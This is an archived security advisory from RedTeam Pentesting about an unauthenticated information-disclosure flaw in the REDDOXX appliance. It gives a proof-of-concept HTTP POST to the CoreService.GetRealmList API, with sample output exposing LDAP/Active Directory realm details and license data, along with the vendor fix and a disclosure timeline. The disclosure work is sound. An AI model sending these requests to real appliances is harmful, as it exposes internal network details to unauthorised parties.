lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 1 Jul 2019 16:20:55 +0200
From: RedTeam Pentesting GmbH <>
Subject: [RT-SA-2019-012] Information Disclosure in REDDOXX Appliance

Advisory: Information Disclosure in REDDOXX Appliance

RedTeam Pentesting discovered an Information Disclosure vulnerability in
the REDDOXX appliance software, which allows unauthenticated attackers
to gain information about the internal network the appliance is part of.


Product: REDDOXX Appliance
Affected Versions: 2032-SP2 up to hotfix 51
Fixed Versions: 2032-SP2 hotfix 53
Vulnerability Type: Information Disclosure
Security Risk: low
Vendor URL:
Vendor Status: patch available
Advisory URL:
Advisory Status: published


"REDDOXX is a leading supplier of solutions for e-mail archiving,
encrypted and digitally signed e-mail traffic as well as spam
protection. Our focus is on technological innovation: taking our cue
from our clients’ requirements our competent and quality-conscious
employees strive to offer you the best possible products at all times.
Using stringent quality standards and proven processes we keep
developing our company and products continuously, with the goal of
continuous improvement."

(from the vendor's homepage)

More Details

Through the ISO provided on the vendor's homepage [1], it was possible
to analyze the files in a typical REDDOXX appliance [0] installation. It
was discovered that the API functions "CoreService.GetRealmList" and
"CoreService.GetLicense" are available without requiring authentication.
This allows attackers to get information about the configured
authentication mechanisms, for example Windows domain controllers if
Active Directory authentication is in use. Additionally, the REDDOXX
license serial number can be extracted.

Proof of Concept

All functions of this API require a parameter "id" with a UUID. For
this, the UUID provided by the system itself when using the login form
can be used, but any valid UUID will be accepted. The
"CoreService.GetRealmList" API function can be used as follows:

POST /RdxEngine/json HTTP/1.1
Content-Type: application/json

{"id":"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}","method":"CoreService.GetRealmList","params":{"Directory": "/etc/"}}

It provides details about the authentication realms, such as hostname and
port of the authentication server or the BaseDN for Active Directory/LDAP

  "version": "1.1",
  "result": {
    "RealmList": [
        "AuthServer": "",
        "AuthType": "local",
        "BaseDN": "",
        "DisableSavePassword": false,
        "ImportAddresses": false,
        "Name": "local",
        "SetPrimaryAddress": false,
        "TcpPort": "0",
        "UseTLS": false,
        "WindowsDomain": ""
        "AuthServer": "",
        "AuthType": "Windows 2003",
        "BaseDN": "DC=example,DC=com",
        "DisableSavePassword": false,
        "ImportAddresses": true,
        "Name": "",
        "SetPrimaryAddress": true,
        "TcpPort": "389",
        "UseTLS": false,
        "WindowsDomain": ""
        "AuthServer": "",
        "AuthType": "Windows 2003",
        "BaseDN": "DC=example,DC=net",
        "DisableSavePassword": false,
        "ImportAddresses": true,
        "Name": "",
        "SetPrimaryAddress": true,
        "TcpPort": "389",
        "UseTLS": false,
        "WindowsDomain": ""

The "CoreService.GetLicense" API call can be used as follows:

POST /RdxEngine/json HTTP/1.1
Content-Type: application/json


It provides details about the used license (serial number replaced by
random value for demonstration purposes):

  "version": "1.1",
  "result": {
    "License": {
      "Activated": true,
      "ActivationDate": "2000-01-01T12:34:56",
      "ApplianceID": "1234",
      "ArchiveLicenses": "10000",
      "Cluster": false,
      "Customer": "Example Ltd.",
      "HasFullMaildepotLicense": true,
      "HasFullSpamfinderLicense": true,
      "HasMaildepotPremiumLicense": true,
      "MailDepotImporterLicense": false,
      "MailSealerLicenses": "10000",
      "MailSealerSignatureLicense": false,
      "MsxAgentLicenses": "10000",
      "SerialNumber": "AIP1-EECA-EUKI-E6AH-OOGH-EI5Y",
      "ServiceDate": "1899-12-30T00:00:00",
      "SpamfinderLicenses": "10000",
      "SubscriptionDate": "2020-01-30T12:34:56",
      "Valid": true,
      "VirusScan": true




Install the latest hotfixes for the appliance, see [2].

Security Risk

The risk of the information disclosure through the two API calls is
estimated to be low. Although the API calls should not be available
without authentication, "CoreService.GetRealmList" will only return
rudimentary information about the authentication realms and
"CoreService.GetLicense" is mostly a problem for the vendor, as the
serial number could be misused to set up a licensed application without


2019-05-21 Vulnerability identified
2019-05-24 Customer approved disclosure to vendor
2019-06-04 Vendor notified
2019-06-05 Vendor acknowledges the vulnerability
2019-06-17 Vendor released hotfix
2019-06-24 Customer approved release
2019-07-01 Advisory released


    (Requires login)

RedTeam Pentesting GmbH

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:

Working at RedTeam Pentesting

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:

RedTeam Pentesting GmbH                   Tel.: +49 241 510081-0
Dennewartstr. 25-27                       Fax : +49 241 510081-99
52068 Aachen          
Germany                         Registergericht: Aachen HRB 14004
Geschäftsführer:                       Patrick Hof, Jens Liebchen

Download attachment "signature.asc" of type "application/pgp-signature" (489 bytes)

Powered by blists - more mailing lists